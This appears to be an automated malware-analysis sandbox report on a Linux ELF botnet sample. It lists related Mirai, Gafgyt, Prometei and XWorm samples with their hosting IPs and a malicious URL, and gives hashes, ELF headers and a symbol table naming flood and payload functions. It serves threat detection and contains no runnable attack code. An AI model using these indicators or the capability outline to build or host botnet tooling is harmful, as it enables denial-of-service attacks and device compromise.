	UYyuyioy.elf	Get hash	malicious	Gafgyt, Mirai	Browse
185.125.190.26	FTUdftui.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	GHfjfgvj.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	skid.mips.elf	Get hash	malicious	Unknown	Browse
	vision.arc.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	FTUdftui.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	JIPJuipjh.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	GHfjfgvj.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	arc700.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
RASANAIR	FTUdftui.elf	Get hash	malicious	Gafgyt, Mirai	Browse	31.58.58.113
	JIPJuipjh.elf	Get hash	malicious	Gafgyt, Mirai	Browse	31.58.58.113
	JIPJIPJj.elf	Get hash	malicious	Gafgyt, Mirai	Browse	31.58.58.113
	GHfjfgvj.elf	Get hash	malicious	Gafgyt, Mirai	Browse	31.58.58.113
	jhUOH.elf	Get hash	malicious	Gafgyt, Mirai	Browse	31.58.58.113
	UYyuyioy.elf	Get hash	malicious	Gafgyt, Mirai	Browse	31.58.58.113
	https://install-updated-zoom-meeting.netlify.app/	Get hash	malicious	ScreenConnect Tool	Browse	151.242.63.228
	174482136536dfff5446d5e25e836061a53621f8f7f6dd5b87c414ad927c952f844b53ca12361.dat-decoded.exe	Get hash	malicious	XWorm	Browse	31.57.97.8
	nklppc.elf	Get hash	malicious	Unknown	Browse	151.246.85.94
	splarm7.elf	Get hash	malicious	Unknown	Browse	31.57.108.70

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/run/systemd/resolve/stub-resolv.conf

Download File

Process:	/tmp/RYrydry.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	38
Entropy (8bit):	3.3918926446809334
Encrypted:	false
SSDEEP:	3:KkZRAkd:KaAu
MD5:	C7EA09D26E26605227076E0514A33038
SHA1:	C3F9736E9AF7BD0885578859A50B205C8FA5FC8E
SHA-256:	7E8AD76E0D200E93918CA2E93C99FF8ECD02071953BF1479819DB3AC0DBB6D07
SHA-512:	17D0088725EB9991E9EB82E8A3DE0878E45E6F394BBC2AD260AA59C786FF0AD565E145E21256425D1C0ABE15F3ECB402EBB0A6A5E1C2D5BA7A4D95EC93A2861F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	nameserver 8.8.8.8.nameserver 8.8.4.4.

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	5.823546233808095
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	RYrydry.elf
File size:	111'832 bytes
MD5:	71e9b1130b439096029a80f48dc698bc
SHA1:	efd6f9026bf60837412f9664ff3c89446fa48011
SHA256:	e9b1b9c9591493551575e756f79938d868d3067eb733166a85896232205cc6bb
SHA512:	4c3eb18c6e3fa6b95982341ac2abff7880545c0a7f98b3f0ed334e7c9e3d397effcba7e815fdd90341b6500c07b8dbcafa961f164b9e3c1cd35468fe16a2da68
SSDEEP:	3072:WEbQb6BpfEfmtf26Jzka4JbLktvmUimjH6jP:WI4Ck9k9mUim76jP
TLSH:	54B34C13C56080BBC0CB67761BDF92215263B8B91731720777D8BEB52F0A999DE993C2
File Content Preview:	.ELF..............>.......@.....@........=..........@.8...@.......................@.......@.....O.......O.................................Q.......Q......1......................Q.td....................................................H...._........H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	81344
Section Header Size:	64
Number of Section Headers:	15
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	0	0	1
.text	PROGBITS	0x400100	0x100	0xc834	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x40c934	0xc934	0xe	0x0	0x6	AX	0	0	1
.rodata	PROGBITS	0x40c950	0xc950	0x32ff	0x0	0x2	A	0	0	16
.eh_frame	PROGBITS	0x510000	0x10000	0x27a4	0x0	0x3	WA	0	0	8
.ctors	PROGBITS	0x5127a8	0x127a8	0x10	0x0	0x3	WA	0	0	8
.dtors	PROGBITS	0x5127b8	0x127b8	0x10	0x0	0x3	WA	0	0	8
.jcr	PROGBITS	0x5127c8	0x127c8	0x8	0x0	0x3	WA	0	0	8
.data	PROGBITS	0x5127e0	0x127e0	0x9b8	0x0	0x3	WA	0	0	32
.bss	NOBITS	0x5131a0	0x13198	0x6ae8	0x0	0x3	WA	0	0	32
.comment	PROGBITS	0x0	0x13198	0xbbe	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x13d56	0x66	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x14180	0x4c38	0x18	0x0		14	275	8
.strtab	STRTAB	0x0	0x18db8	0x2720	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xfc4f	0xfc4f	6.4541	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x10000	0x510000	0x510000	0x3198	0x9c88	3.5555	0x6	RW	0x100000	.eh_frame .ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x4000e8	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x400100	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x40c934	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x40c950	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x510000	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x5127a8	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x5127b8	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x5127c8	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x5127e0	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x5131a0	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	14
BIN	.symtab	0x512958	8	OBJECT	<unknown>	DEFAULT	9
BINS1	.symtab	0x512978	8	OBJECT	<unknown>	DEFAULT	9
BINS10	.symtab	0x5129c0	8	OBJECT	<unknown>	DEFAULT	9
BINS11	.symtab	0x5129c8	8	OBJECT	<unknown>	DEFAULT	9
BINS12	.symtab	0x5129d0	8	OBJECT	<unknown>	DEFAULT	9
BINS13	.symtab	0x5129d8	8	OBJECT	<unknown>	DEFAULT	9
BINS2	.symtab	0x512980	8	OBJECT	<unknown>	DEFAULT	9
BINS3	.symtab	0x512988	8	OBJECT	<unknown>	DEFAULT	9
BINS4	.symtab	0x512990	8	OBJECT	<unknown>	DEFAULT	9
BINS5	.symtab	0x512998	8	OBJECT	<unknown>	DEFAULT	9
BINS6	.symtab	0x5129a0	8	OBJECT	<unknown>	DEFAULT	9
BINS7	.symtab	0x5129a8	8	OBJECT	<unknown>	DEFAULT	9
BINS8	.symtab	0x5129b0	8	OBJECT	<unknown>	DEFAULT	9
BINS9	.symtab	0x5129b8	8	OBJECT	<unknown>	DEFAULT	9
BINS_HOST_IP	.symtab	0x512950	8	OBJECT	<unknown>	DEFAULT	9
Bot_Killer_Binarys	.symtab	0x5129e0	544	OBJECT	<unknown>	DEFAULT	9
Busybox_Payload	.symtab	0x512930	8	OBJECT	<unknown>	DEFAULT	9
C.1.3840	.symtab	0x40fa40	40	OBJECT	<unknown>	DEFAULT	4
ClearHistory	.symtab	0x402bb0	26	FUNC	<unknown>	DEFAULT	2
FTP1	.symtab	0x512970	8	OBJECT	<unknown>	DEFAULT	9
Payload	.symtab	0x512938	8	OBJECT	<unknown>	DEFAULT	9
Python_File_Location	.symtab	0x512948	8	OBJECT	<unknown>	DEFAULT	9
Python_Temp_Directory	.symtab	0x512940	8	OBJECT	<unknown>	DEFAULT	9
Q	.symtab	0x513220	16384	OBJECT	<unknown>	DEFAULT	10
RandomPythonRange	.symtab	0x402bca	6	FUNC	<unknown>	DEFAULT	2
RemoveTempDirs	.symtab	0x4035d5	46	FUNC	<unknown>	DEFAULT	2
SendHTTP	.symtab	0x402a28	392	FUNC	<unknown>	DEFAULT	2
SendSTD	.symtab	0x402049	245	FUNC	<unknown>	DEFAULT	2
SendTCP	.symtab	0x4024a1	1199	FUNC	<unknown>	DEFAULT	2
SendUDP	.symtab	0x40213e	867	FUNC	<unknown>	DEFAULT	2
TFTP1	.symtab	0x512960	8	OBJECT	<unknown>	DEFAULT	9
TFTP2	.symtab	0x512968	8	OBJECT	<unknown>	DEFAULT	9
Temp_Directorys	.symtab	0x512c00	40	OBJECT	<unknown>	DEFAULT	9
UpdateNameSrvs	.symtab	0x403570	101	FUNC	<unknown>	DEFAULT	2
_Exit	.symtab	0x403f94	43	FUNC	<unknown>	DEFAULT	2
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x5127b0	0	OBJECT	<unknown>	DEFAULT	6
__CTOR_LIST__	.symtab	0x5127a8	0	OBJECT	<unknown>	DEFAULT	6
__C_ctype_b	.symtab	0x512dc0	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x40dcd0	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_tolower	.symtab	0x513180	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_tolower_data	.symtab	0x40f740	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_toupper	.symtab	0x512dd0	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_toupper_data	.symtab	0x40dfd0	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x5127c0	0	OBJECT	<unknown>	DEFAULT	7
__DTOR_LIST__	.symtab	0x5127b8	0	OBJECT	<unknown>	DEFAULT	7
__EH_FRAME_BEGIN__	.symtab	0x510000	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x5127a0	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x512dc0	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_tolower	.symtab	0x513180	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_toupper	.symtab	0x512dd0	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_b	.symtab	0x512dc8	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_tolower	.symtab	0x513188	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_toupper	.symtab	0x512dd8	8	OBJECT	<unknown>	HIDDEN	9
__GI___errno_location	.symtab	0x40404c	6	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x403f04	100	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x409358	222	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x4059d8	14	FUNC	<unknown>	HIDDEN	2
__GI___h_errno_location	.symtab	0x407f5c	6	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x403ea0	100	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x405e68	28	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x405e84	30	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x405e48	32	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x4075a4	70	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x40761f	58	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x405a04	196	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x403f94	43	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x406bac	200	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x407050	18	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x40a650	43	FUNC	<unknown>	HIDDEN	2
__GI_chdir	.symtab	0x403e24	38	FUNC	<unknown>	HIDDEN	2
__GI_clock_getres	.symtab	0x407af4	41	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x403fec	41	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x407c90	147	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x408226	43	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x408251	46	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x407f64	706	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x405c80	43	FUNC	<unknown>	HIDDEN	2
__GI_errno	.symtab	0x519478	4	OBJECT	<unknown>	HIDDEN	10
__GI_execl	.symtab	0x40a518	287	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x40a694	38	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x4071c4	92	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x408350	269	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x403ea0	100	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x409214	322	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x409048	128	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x409358	222	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x4090c8	116	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x409438	116	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x408460	10	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x403d70	38	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x405148	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x40aa88	5	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x40aa90	225	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x40a6e4	82	FUNC	<unknown>	HIDDEN	2
__GI_fstat64	.symtab	0x40a6e4	82	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x405180	128	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x409358	222	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x407b84	36	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x407b20	8	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x407b28	8	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x407b7c	8	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname	.symtab	0x405c30	10	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname2	.symtab	0x405c3c	65	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname2_r	.symtab	0x409da0	761	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname_r	.symtab	0x40bfd4	791	FUNC	<unknown>	HIDDEN	2
__GI_gethostname	.symtab	0x40c318	94	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x407ad8	19	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x403d0c	8	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x40a6bc	40	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x407aec	8	FUNC	<unknown>	HIDDEN	2
__GI_h_errno	.symtab	0x51947c	4	OBJECT	<unknown>	HIDDEN	10
__GI_htonl	.symtab	0x405ba4	5	FUNC	<unknown>	HIDDEN	2
__GI_htons	.symtab	0x405b9c	8	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x405c10	29	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x409d18	135	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntoa	.symtab	0x405c05	10	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntoa_r	.symtab	0x405bb8	77	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x40b0c9	518	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x40ade9	493	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x406f94	185	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x407bf8	101	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x405b10	25	FUNC	<unknown>	HIDDEN	2
__GI_isspace	.symtab	0x404018	18	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x403e74	44	FUNC	<unknown>	HIDDEN	2
__GI_lseek	.symtab	0x40c7f0	45	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x40c3c8	5	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x40961c	236	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x405680	102	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x409708	702	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x4095c0	90	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x409ae8	233	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x405200	210	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x4079e4	48	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x40a93c	42	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x407ba8	38	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x407bd0	38	FUNC	<unknown>	HIDDEN	2
__GI_ntohl	.symtab	0x405bb1	5	FUNC	<unknown>	HIDDEN	2
__GI_ntohs	.symtab	0x405ba9	8	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x403ca0	106	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x407db9	157	FUNC	<unknown>	HIDDEN	2
__GI_poll	.symtab	0x40c2ec	41	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x40a09c	18	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x406c80	72	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x406e83	90	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x409a28	189	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x403e4c	39	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x407ecc	143	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x405ce0	11	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x405cec	45	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x407b30	74	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x403df8	44	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x405d1c	11	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x405d28	48	FUNC	<unknown>	HIDDEN	2
__GI_seteuid	.symtab	0x403c54	75	FUNC	<unknown>	HIDDEN	2
__GI_setresuid	.symtab	0x403fc0	44	FUNC	<unknown>	HIDDEN	2
__GI_setreuid	.symtab	0x403da0	42	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x405d58	53	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x406dd8	171	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x407a1d	114	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x405dc0	133	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x407c60	47	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x407220	142	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x405d90	47	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x404054	149	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x406edd	183	FUNC	<unknown>	HIDDEN	2
__GI_stat	.symtab	0x40c378	79	FUNC	<unknown>	HIDDEN	2
__GI_stat64	.symtab	0x40c378	79	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x40c820	48	FUNC	<unknown>	HIDDEN	2
__GI_strcasestr	.symtab	0x405ac8	70	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x4052e0	417	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x409c0c	268	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x405574	33	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x405574	33	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x4055a0	213	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x4094b0	135	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x40c3d0	54	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x405490	225	FUNC	<unknown>	HIDDEN	2
__GI_strncpy	.symtab	0x405954	131	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x405888	201	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x40acd8	140	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x409bd4	53	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x409538	135	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x4057c4	193	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x4059f8	10	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x4099c8	94	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x407064	10	FUNC	<unknown>	HIDDEN	2
__GI_strtoll	.symtab	0x407064	10	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x40738f	499	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x405b2c	110	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x403d3c	8	FUNC	<unknown>	HIDDEN	2
__GI_toupper	.symtab	0x40402c	30	FUNC	<unknown>	HIDDEN	2
__GI_uname	.symtab	0x40c7c8	38	FUNC	<unknown>	HIDDEN	2
__GI_vfork	.symtab	0x407a90	21	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x4040ec	189	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x407aa8	47	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x403d98	7	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x408280	68	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x4082d4	123	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x4082c4	15	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x403f68	42	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x5127c8	0	OBJECT	<unknown>	DEFAULT	8
__JCR_LIST__	.symtab	0x5127c8	0	OBJECT	<unknown>	DEFAULT	8
__app_fini	.symtab	0x519468	8	OBJECT	<unknown>	HIDDEN	10
__atexit_lock	.symtab	0x513140	40	OBJECT	<unknown>	DEFAULT	9
__bss_start	.symtab	0x513198	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x4075ea	53	FUNC	<unknown>	DEFAULT	2
__close_nameservers	.symtab	0x40bf34	109	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x512dc8	8	OBJECT	<unknown>	DEFAULT	9
__ctype_tolower	.symtab	0x513188	8	OBJECT	<unknown>	DEFAULT	9
__ctype_toupper	.symtab	0x512dd8	8	OBJECT	<unknown>	DEFAULT	9
__curbrk	.symtab	0x519480	8	OBJECT	<unknown>	HIDDEN	10
__data_start	.symtab	0x5127f0	0	NOTYPE	<unknown>	DEFAULT	9
__decode_dotted	.symtab	0x40b2d0	280	FUNC	<unknown>	HIDDEN	2
__decode_header	.symtab	0x40c4cc	156	FUNC	<unknown>	HIDDEN	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__dns_lookup	.symtab	0x40b3e8	1836	FUNC	<unknown>	HIDDEN	2
__do_global_ctors_aux	.symtab	0x40c900	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x400100	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x5127e0	0	OBJECT	<unknown>	HIDDEN	9
__encode_dotted	.symtab	0x40c850	162	FUNC	<unknown>	HIDDEN	2
__encode_header	.symtab	0x40c408	193	FUNC	<unknown>	HIDDEN	2
__encode_question	.symtab	0x40c568	80	FUNC	<unknown>	HIDDEN	2
__environ	.symtab	0x519458	8	OBJECT	<unknown>	DEFAULT	10
__errno_location	.symtab	0x40404c	6	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x519448	8	OBJECT	<unknown>	HIDDEN	10
__fcntl_nocancel	.symtab	0x403f04	100	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x409358	222	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x5127a4	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fini_array_start	.symtab	0x5127a4	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__get_hosts_byname_r	.symtab	0x40bfa4	48	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x40a968	288	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x40a968	288	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x407ad8	19	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x4059d8	14	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__h_errno_location	.symtab	0x407f5c	6	FUNC	<unknown>	DEFAULT	2
__h_errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__init_array_end	.symtab	0x5127a4	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__init_array_start	.symtab	0x5127a4	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__libc_close	.symtab	0x403fec	41	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x405c80	43	FUNC	<unknown>	DEFAULT	2
__libc_fcntl	.symtab	0x403ea0	100	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x403d70	38	FUNC	<unknown>	DEFAULT	2
__libc_lseek	.symtab	0x40c7f0	45	FUNC	<unknown>	DEFAULT	2
__libc_lseek64	.symtab	0x40c3c8	5	FUNC	<unknown>	DEFAULT	2
__libc_nanosleep	.symtab	0x407bd0	38	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x403ca0	106	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x403e4c	39	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x405ce0	11	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x405cec	45	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x403df8	44	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x405d1c	11	FUNC	<unknown>	DEFAULT	2
